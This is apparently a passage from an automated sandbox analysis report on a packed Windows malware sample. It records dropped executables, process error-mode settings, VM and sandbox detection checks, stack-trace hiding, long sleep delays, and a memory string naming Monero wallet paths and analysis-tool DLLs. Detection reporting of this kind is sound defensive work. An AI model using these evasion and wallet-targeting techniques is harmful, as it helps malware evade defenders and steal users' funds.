Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 6.2.Yt_9y5LuIpBZXKd9EiYluKkG.exe.34c5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe PID: 1876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yt_9y5LuIpBZXKd9EiYluKkG.exe PID: 1280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XO9lsdL5g6aUibu31TDcoBrI.exe PID: 2228, type: MEMORYSTR

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found API chain indicative of sandbox detection

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

graph_3-49040

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_3-49042

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	API/Special instruction interceptor: Address: 7FF90818E814
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	API/Special instruction interceptor: Address: 7FF90818D584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Yt_9y5LuIpBZXKd9EiYluKkG.exe, 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL18:44:2018:44:2018:44:2018:44:2018:44:2018:44:20DELAYS.TMP%S%SNTDLL.DLL
Source: 5Hyf8PuolQS_j4ZkhvHWpkWr.exe, 00000009.00000002.2601793147.000000000282E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOKC1Q

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Memory allocated: 1400000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Memory allocated: 30B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Memory allocated: 50B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Memory allocated: 590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Memory allocated: 24C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Memory allocated: 910000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Memory allocated: BF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Memory allocated: 26F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Memory allocated: 46F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Memory allocated: 10E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Memory allocated: 2F50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Memory allocated: 2C00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Memory allocated: 8F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Memory allocated: 2340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Memory allocated: 2260000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Memory allocated: C40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Memory allocated: 2850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Memory allocated: 4850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Memory allocated: 1A80000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Memory allocated: 3630000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Memory allocated: 3390000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Memory allocated: 1670000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Memory allocated: 31D0000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Memory allocated: 51D0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2F40000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 30D0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 50D0000 memory reserve \| memory write watch
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Memory allocated: 10E0000 memory reserve \| memory write watch
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Memory allocated: 2E90000 memory reserve \| memory write watch
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Memory allocated: 4E90000 memory reserve \| memory write watch

Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe

Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCursorPos,GetCursorPos,Sleep,GetCursorPos,__aulldiv,Sleep,

3_2_00433130

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Thread delayed: delay time: 922337203685477
